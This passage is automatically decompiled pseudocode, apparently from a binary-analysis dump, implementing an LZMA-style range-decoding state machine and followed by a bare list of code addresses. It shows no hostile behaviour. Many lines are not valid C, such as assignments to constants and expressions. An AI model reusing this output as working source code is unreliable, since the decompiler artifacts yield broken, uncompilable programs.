							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
							goto L120;
						case 0x16:
							__eax =  *(__ebp - 0x30);
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx =  *(__ebp - 4);
							 *(__ebp - 0x40) = 6;
							__eax = __eax << 7;
							 *(__ebp - 0x7c) = 0x19;
							 *(__ebp - 0x58) = __eax;
							goto L145;
						case 0x17:
							L145:
							__eax =  *(__ebp - 0x40);
							 *(__ebp - 0x50) = 1;
							 *(__ebp - 0x48) =  *(__ebp - 0x40);
							goto L149;
						case 0x18:
							L146:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x18;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t484 = __ebp - 0x70;
							 *_t484 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t484;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L148:
							_t487 = __ebp - 0x48;
							 *_t487 =  *(__ebp - 0x48) - 1;
							__eflags =  *_t487;
							L149:
							__eflags =  *(__ebp - 0x48);
							if( *(__ebp - 0x48) <= 0) {
								__ecx =  *(__ebp - 0x40);
								__ebx =  *(__ebp - 0x50);
								0 = 1;
								__eax = 1 << __cl;
								__ebx =  *(__ebp - 0x50) - (1 << __cl);
								__eax =  *(__ebp - 0x7c);
								 *(__ebp - 0x44) = __ebx;
								goto L140;
							}
							__eax =  *(__ebp - 0x50);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
							__eax =  *(__ebp - 0x58);
							__esi = __edx + __eax;
							 *(__ebp - 0x54) = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								 *(__ebp - 0x50) = __edx;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L148;
							} else {
								goto L146;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								 *(__ebp - 0x2c) = __ebx;
								L119:
								_t393 = __ebp - 0x2c;
								 *_t393 =  *(__ebp - 0x2c) + 1;
								__eflags =  *_t393;
								L120:
								__eax =  *(__ebp - 0x2c);
								__eflags = __eax;
								if(__eax == 0) {
									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
									goto L170;
								}
								__eflags = __eax -  *(__ebp - 0x60);
								if(__eax >  *(__ebp - 0x60)) {
									goto L171;
								}
								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
								__eax =  *(__ebp - 0x30);
								_t400 = __ebp - 0x60;
								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
								__eflags =  *_t400;
								goto L123;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							 *(__ebp - 0x2c) = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								 *(__ebp - 0x48) = __ecx;
								L102:
								__eflags =  *(__ebp - 0x48);
								if( *(__ebp - 0x48) <= 0) {
									__eax = __eax + __ebx;
									 *(__ebp - 0x40) = 4;
									 *(__ebp - 0x2c) = __eax;
									__eax =  *(__ebp - 4);
									__eax =  *(__ebp - 4) + 0x644;
									__eflags = __eax;
									L108:
									__ebx = 0;
									 *(__ebp - 0x58) = __eax;
									 *(__ebp - 0x50) = 1;
									 *(__ebp - 0x44) = 0;
									 *(__ebp - 0x48) = 0;
									L112:
									__eax =  *(__ebp - 0x40);
									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
										_t391 = __ebp - 0x2c;
										 *_t391 =  *(__ebp - 0x2c) + __ebx;
										__eflags =  *_t391;
										goto L119;
									}
									__eax =  *(__ebp - 0x50);
									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
									__eax =  *(__ebp - 0x58);
									__esi = __edi + __eax;
									 *(__ebp - 0x54) = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
									__eflags =  *(__ebp - 0xc) - __edx;
									if( *(__ebp - 0xc) >= __edx) {
										__ecx = 0;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
										__ecx = 1;
										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
										__ebx = 1;
										__ecx =  *(__ebp - 0x48);
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx =  *(__ebp - 0x44);
										__ebx =  *(__ebp - 0x44) | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										 *(__ebp - 0x44) = __ebx;
										 *__esi = __ax;
										 *(__ebp - 0x50) = __edi;
									} else {
										 *(__ebp - 0x10) = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
										 *__esi = __dx;
									}
									__eflags =  *(__ebp - 0x10) - 0x1000000;
									if( *(__ebp - 0x10) >= 0x1000000) {
										L111:
										_t368 = __ebp - 0x48;
										 *_t368 =  *(__ebp - 0x48) + 1;
										__eflags =  *_t368;
										goto L112;
									} else {
										goto L109;
									}
								}
								__ecx =  *(__ebp - 0xc);
								__ebx = __ebx + __ebx;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
									__ecx =  *(__ebp - 0x10);
									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									 *(__ebp - 0x44) = __ebx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								if( *(__ebp - 0x10) >= 0x1000000) {
									L101:
									_t338 = __ebp - 0x48;
									 *_t338 =  *(__ebp - 0x48) - 1;
									__eflags =  *_t338;
									goto L102;
								} else {
									goto L99;
								}
							}
							__edx =  *(__ebp - 4);
							__eax = __eax - __ebx;
							 *(__ebp - 0x40) = __ecx;
							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
							goto L108;
						case 0x1a:
							L56:
							__eflags =  *(__ebp - 0x64);
							if( *(__ebp - 0x64) == 0) {
								 *(__ebp - 0x88) = 0x1a;
								goto L170;
							}
							__ecx =  *(__ebp - 0x68);
							__al =  *(__ebp - 0x5c);
							__edx =  *(__ebp - 8);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
							 *( *(__ebp - 0x68)) = __al;
							__ecx =  *(__ebp - 0x14);
							 *(__ecx +  *(__ebp - 8)) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t192 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t192;
							goto L79;
						case 0x1b:
							goto L75;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406fa7
0x00406fa7
0x00406fab
0x00407062
0x00407065
0x00407071
0x00406f52
0x00406f52
0x00406f55
0x004072c7
0x004072c7
0x004072ca
0x004072ca
0x004072d0
0x004072d6
0x004072dc
0x004072f6
0x004072f9
0x004072ff
0x0040730a
0x0040730c
0x004072de
0x004072de
0x004072ed
0x004072f1
0x004072f1
0x00407316
0x0040733d
0x0040733d
0x00407343
0x00407343
0x00000000
0x00407318
0x00407318
0x0040731c
0x004074cb
0x00000000
0x004074cb
0x00407328
0x0040732f
0x00407337
0x0040733a
0x00000000
0x0040733a
0x00406fb1
0x00406fb5
0x004074f6
0x004074f6
0x004074f9
0x004074fd
0x004074fd
0x00406fbb
0x00406fc1
0x00406fc4
0x00406fc8
0x00406fcb
0x00406fcf
0x00407495
0x004074e1
0x004074e9
0x004074f0
0x004074f2
0x00000000
0x004074f2
0x00406fd5
0x00406fd8
0x00406fde
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fe6
0x00406fe9
0x00406fec
0x00406fef
0x00406ff2
0x00406ff3
0x00406ff5
0x00406ff5
0x00406ff5
0x00406ff8
0x00406ffb
0x00406ffe
0x00407001
0x00407001
0x00407004
0x00407006
0x00407006
0x00407009
0x00407009
0x00407009
0x00406adf
0x00406adf
0x00406ae8
0x00000000
0x00000000
0x00406aee
0x00000000
0x00406af9
0x00000000
0x00000000
0x00406b02
0x00406b05
0x00406b08
0x00406b0c
0x00000000
0x00000000
0x00406b12
0x00406b15
0x00406b17
0x00406b18
0x00406b1b
0x00406b1d
0x00406b1e
0x00406b20
0x00406b23
0x00406b28
0x00406b2d
0x00406b36
0x00406b49
0x00406b4c
0x00406b58
0x00406b80
0x00406b82
0x00406b90
0x00406b90
0x00406b94
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b84
0x00406b84
0x00406b87
0x00406b88
0x00406b88
0x00000000
0x00406b84
0x00406b5e
0x00406b63
0x00406b63
0x00406b6c
0x00406b74
0x00406b77
0x00000000
0x00406b7d
0x00406b7d
0x00000000
0x00406b7d
0x00000000
0x00406b9a
0x00406b9a
0x00406b9e
0x0040744a
0x00000000
0x0040744a
0x00406ba7
0x00406bb7
0x00406bba
0x00406bbd
0x00406bbd
0x00406bbd
0x00406bc0
0x00406bc4
0x00000000
0x00000000
0x00406bc6
0x00406bcc
0x00406bf6
0x00406bfc
0x00406c03
0x00000000
0x00406c03
0x00406bd2
0x00406bd5
0x00406bda
0x00406bda
0x00406be5
0x00406bed
0x00406bf0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c35
0x00406c3b
0x00406c3e
0x00406c4b
0x00406c53
0x00000000
0x00000000
0x00406c0a
0x00406c0a
0x00406c0e
0x00407459
0x00000000
0x00407459
0x00406c1a
0x00406c25
0x00406c25
0x00406c25
0x00406c28
0x00406c2b
0x00406c2e
0x00406c33
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c5b
0x00406c5d
0x00406c60
0x00406cd1
0x00406cd4
0x00406cd7
0x00406cde
0x00406ce8
0x00000000
0x00406ce8
0x00406c62
0x00406c66
0x00406c69
0x00406c6b
0x00406c6e
0x00406c71
0x00406c73
